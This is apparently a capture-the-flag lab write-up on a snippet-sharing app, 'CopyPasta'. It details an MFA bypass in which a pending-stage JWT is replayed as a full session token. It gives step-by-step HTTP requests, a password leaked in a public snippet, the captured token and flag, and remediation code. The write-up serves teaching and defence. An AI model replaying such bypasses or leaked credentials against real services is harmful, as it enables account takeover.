BugForge — 2026.11.13

CopyPasta: MFA Bypass via Pending-Token Replay

BugForge MFA Bypass via Pending-Token Replay easy

Executive Summary

CopyPasta is a snippet-sharing application (Express backend, React frontend, JWT bearer authentication) tested as BugForge rotation 015, build main.fa3456cf.js. This build added an MFA feature: login can return an intermediate mfa_pending JWT that is meant to be exchanged at the MFA verification step. The server verifies the JWT signature on every authenticated endpoint but never checks the stage claim, so the intermediate token works as a full session credential. Combined with a seed account’s password published in a public snippet, this bypasses the second factor entirely.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 MFA bypass: mfa_pending JWT accepted as full session token High 8.3 CWE-287 POST /api/login (token replayed on authenticated endpoints)

The severity is scored standalone: the bypass requires valid credentials for the target account (PR:L), so the vector lands in the High band. In this lab the chain is flag-bearing because the credential precondition is met by a public snippet leak.


Objective

Capture the flag on the new rotation build. The newly added MFA subsystem was the priority target: the feature arrived after the app’s core, and the challenge hint (“Is the token valid?”) pointed at the authentication flow.


Scope / Initial Access

# Target Application
URL: https://lab-1794598718130-1p7ohx.labs-app.bugforge.io

# Auth details
JWT HS256, Bearer header. Tokens carry {id, username, stage, iat}.
Registration is open; starting privileges: unauthenticated, then
self-registered user (id 6).

Reconnaissance: Sourcemap Recovery and Rotation Diff

The frontend bundle ships with a public webpack sourcemap, so the full React source was recovered from main.fa3456cf.js before any probing. The build was then diffed against prior rotations of this app:

  1. The registration response issues a JWT with a stage:"complete" claim. Every prior rotation issued {id, username, iat} only. A claim with a value named “complete” implies at least one other value exists somewhere in the authentication state machine; the login response later confirmed this with stage:"mfa_pending".
  2. New MFA endpoint surface: POST /api/login/mfa, GET /api/mfa/status, POST /api/mfa/enroll, POST /api/mfa/confirm, POST /api/mfa/disable.
  3. A new seed user, jeremy (id 5), appears with two public snippets (8, 9). Snippet 9, “Deploy dashboard login (quick smoke test)”, is ops flavored.
  4. The profile /:username private-snippet leak present in four prior rotations returns only public rows this build. That incidental path is patched, which pushed attention to the new MFA surface.
  5. GET /api/snippets/public without a token returns 401; the feed requires a session.

Observations 1 and 3 together shaped the test plan: decode the token the server issues, find the second stage value, and treat the MFA flow as the entry point.


Application Architecture

Component Detail
Backend Express (Node.js)
Frontend React (Create React App), sourcemap public
Auth JWT HS256 Bearer, stage claim (complete, mfa_pending)
Database SQLite (assumed from app lineage; not confirmed)

API Surface

Endpoint Method Auth Notes
/api/register POST No Issues stage:"complete" session JWT
/api/login POST No Returns mfa_required + mfa_token when a second factor applies
/api/login/mfa POST Pending token MFA code submission; not tested this rotation
/api/mfa/status GET Yes MFA enrollment status
/api/mfa/enroll POST Yes Not tested this rotation
/api/mfa/confirm POST Yes Not tested this rotation
/api/mfa/disable POST Yes Not tested this rotation
/api/snippets GET Yes Own snippets, including private rows
/api/snippets/public GET Yes Public feed; 401 without token
/api/profile/:username GET Yes Returns only public rows this build
/api/verify-token GET Yes Identity echo
/api/tokens GET Yes API tokens

Known Users

Username ID Role Notes
jeremy 5 user New seed user this rotation; target account
reztoday 6 user Self-registered attacker account
coder123, pythonista 2, 3 user Observed in the public feed

Attack Chain Visualization

┌─────────────────┐    ┌─────────────────┐    ┌─────────────────┐    ┌─────────────────┐    ┌─────────────────┐
│ POST            │    │ GET             │    │ POST            │    │ Replay          │    │ GET             │
│ /api/register   │    │ /api/snippets/  │    │ /api/login      │    │ mfa_token as    │    │ /api/snippets   │
│ stage:"complete"│───▶│ public          │───▶│ jeremy + leaked │───▶│ session Bearer  │───▶│ returns private │
│ session JWT     │    │ snippet 9 leaks │    │ password →      │    │ 5 endpoints 200,│    │ snippet 10 →    │
│                 │    │ password        │    │ mfa_pending JWT │    │ identity resolves│   │ DEPLOY_TOKEN    │
└─────────────────┘    └─────────────────┘    └─────────────────┘    └─────────────────┘    └─────────────────┘

Findings

F1: MFA bypass: mfa_pending JWT accepted as full session token

Severity: High CVSS v3.1: 8.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L) CWE: CWE-287 (Improper Authentication) Endpoint: POST /api/login (token replayed on authenticated endpoints) Authentication required: Yes (valid credentials for the target account)

Description

Three defects compound:

  1. A seed account’s password is published in the body of a public snippet. Snippet 9, owned by jeremy, is a bash “smoke test” containing a curl line with the password inline and a TODO comment acknowledging it.
  2. After a successful password check, POST /api/login returns mfa_required:true plus an mfa_token JWT with payload {id:5, username:"jeremy", stage:"mfa_pending"}. This token is issued before any second factor is completed.
  3. Authenticated endpoints verify the JWT signature but do not check the stage claim. The same token string replayed as a session Bearer was accepted on all five endpoints tested (/api/verify-token, /api/snippets, /api/mfa/status, /api/tokens, /api/snippets/public), all returning 200. Response bodies were retained for the two endpoints that produced the finding; the other three returned 200 in the session log.

/api/verify-token resolved the replayed token to the target identity (id 5, jeremy), and /api/snippets returned the account’s private snippets. Private snippet 10, “Production deploy runbook” (is_public:0), contains the flag value in a DEPLOY_TOKEN export:

#!/usr/bin/env bash
# Internal — do not share.
# Ship a build to prod from the release host.
set -euo pipefail

export DEPLOY_TOKEN="bug{KxmU9mdkgkBQMUFkpVTOnvyuE0pR3nUy}"

deployctl login --token "$DEPLOY_TOKEN"
deployctl push --env production --service copypasta-web

Impact

Would allow an attacker holding the pending token, such as one obtained with a leaked or phished password, to operate the account with full session privileges without completing the second factor. MFA enrollment gates nothing.

Reproduction

Step 1: Register an attacker account

POST /api/register HTTP/1.1
Host: lab-1794598718130-1p7ohx.labs-app.bugforge.io
Content-Type: application/json

{"username":"reztoday","email":"[email protected]","password":"Passw0rd!123","full_name":"Rez Today"}

Response: 200 with a session JWT. Decoded payload: {"id":6,"username":"reztoday","stage":"complete","iat":1794598847}. The stage claim is new to this build and names a second token state.

Step 2: Pull the public feed and read the full snippet bodies

GET /api/snippets/public HTTP/1.1
Host: lab-1794598718130-1p7ohx.labs-app.bugforge.io
Authorization: Bearer <session JWT from step 1>

Response: 200 with the public feed. Snippet 9 by jeremy contains the credential:

#!/usr/bin/env bash
# Quick smoke test: log in to the deploy dashboard and hit /api/snippets.
# TODO: move this to an env var before anyone sees it...
curl -s -X POST https://deploy.copypasta.internal/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"jeremy","password":"Rel3ase!Deploy2024"}'

Step 3: Log in as the target account

POST /api/login HTTP/1.1
Host: lab-1794598718130-1p7ohx.labs-app.bugforge.io
Content-Type: application/json

{"username":"jeremy","password":"Rel3ase!Deploy2024"}

Response: 200, no session token issued:

{"mfa_required":true,"mfa_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NSwidXNlcm5hbWUiOiJqZXJlbXkiLCJzdGFnZSI6Im1mYV9wZW5kaW5nIiwiaWF0IjoxNzk0NTk4ODgwfQ.7EntitAUIwngXTtmTucieZlEP3WYT2ub46QrNWCEieE"}

The mfa_token decodes to {"id":5,"username":"jeremy","stage":"mfa_pending","iat":1794598880}.

Step 4: Replay the pending token as a session Bearer

GET /api/verify-token HTTP/1.1
Host: lab-1794598718130-1p7ohx.labs-app.bugforge.io
Authorization: Bearer <mfa_token from step 3>

Response: 200, resolving to the target identity:

{"user":{"id":5,"username":"jeremy","email":"[email protected]","full_name":"Jeremy Tran","bio":"Release engineering. Keeper of the deploy runbooks.","role":"user"}}
GET /api/snippets HTTP/1.1
Host: lab-1794598718130-1p7ohx.labs-app.bugforge.io
Authorization: Bearer <mfa_token from step 3>

Response: 200 with three snippets owned by jeremy, including private snippet 10 (is_public:0) containing the flag value in the DEPLOY_TOKEN export.

Remediation

No backend source was available; fixes are inferred from observed behavior.

Fix 1: Enforce the stage claim in the authentication middleware

Signature verification and token scope are separate checks. The middleware must reject any token whose stage is not complete on session endpoints.

// BEFORE (vulnerable, inferred)
function requireAuth(req, res, next) {
  const payload = verifyJwt(bearerToken(req)); // signature check only
  req.user = payload;
  next();
}
// AFTER (inferred)
function requireAuth(req, res, next) {
  const payload = verifyJwt(bearerToken(req));
  if (payload.stage !== 'complete') {
    return res.status(401).json({ error: 'Full authentication required' });
  }
  req.user = payload;
  next();
}

Rollout note: this check hard-rejects any token issued without a stage claim, so issue only stage-bearing tokens before deploying the enforcement, or accept that existing sessions fail closed at the boundary.

Fix 2: Scope the pending token to the MFA step

The intermediate token should be valid only where it is consumed. Give it a distinct audience and short lifetime, and accept that audience only at POST /api/login/mfa.

// BEFORE (vulnerable, inferred)
const mfaToken = jwt.sign({ id: user.id, username: user.username, stage: 'mfa_pending' }, SECRET);

// AFTER (inferred)
const mfaToken = jwt.sign(
  { id: user.id, username: user.username, stage: 'mfa_pending' },
  SECRET,
  { audience: 'mfa-verify', expiresIn: '5m' }
);
// The MFA verification endpoint checks the audience; session middleware rejects it
const payload = verifyJwt(bearerToken(req));
if (payload.aud !== 'mfa-verify') {
  return res.status(401).json({ error: 'Invalid token for MFA verification' });
}

As a defense-in-depth measure, the session middleware should reject the mfa-verify audience explicitly rather than relying on Fix 1’s stage check to catch it.

Additional recommendations:

  • Rotate the credential published in snippet 9 and treat published credentials as incidents; the leak is a separate defect from the bypass and survives Fix 1.
  • Scan or moderate user-generated content for embedded credentials before it reaches the public feed.
  • Rate-limit and lock the MFA code check at /api/login/mfa (not tested this rotation; standard hardening for any code-verification endpoint).

OWASP Top 10 Coverage

  • A07:2021 Identification and Authentication Failures: The second factor is issued but never enforced; an intermediate mfa_pending token is accepted wherever a completed session token is expected.
  • A01:2021 Broken Access Control: The replayed pending token grants access to endpoints returning private rows (/api/snippets returning is_public:0 rows) that the holder should not reach before MFA verification completes.

Tools Used

Tool Purpose
curl Request replay and evidence capture
Caido Traffic interception and request history
base64 JWT payload decoding

References


Failed Approaches

Approach Result Why It Failed
Profile /:username enumeration for private snippets Only public rows returned Patched this rotation; the incidental leak present in four prior builds is closed

Untested angles preserved for the next rotation: /api/login/mfa Bearer-token validation (forged alg:none, complete-stage token presented at the MFA step), TOTP code check strength, cross-user behavior of /api/mfa/{enroll,confirm,disable}, and a filter[...] operator injection re-test on the public feed.


Tags: #bugforge #copypasta #mfa #jwt #authentication-bypass Document Version: 1.0 Last Updated: 2026-11-13

#mfa #jwt #authentication-bypass #token-scope #bugforge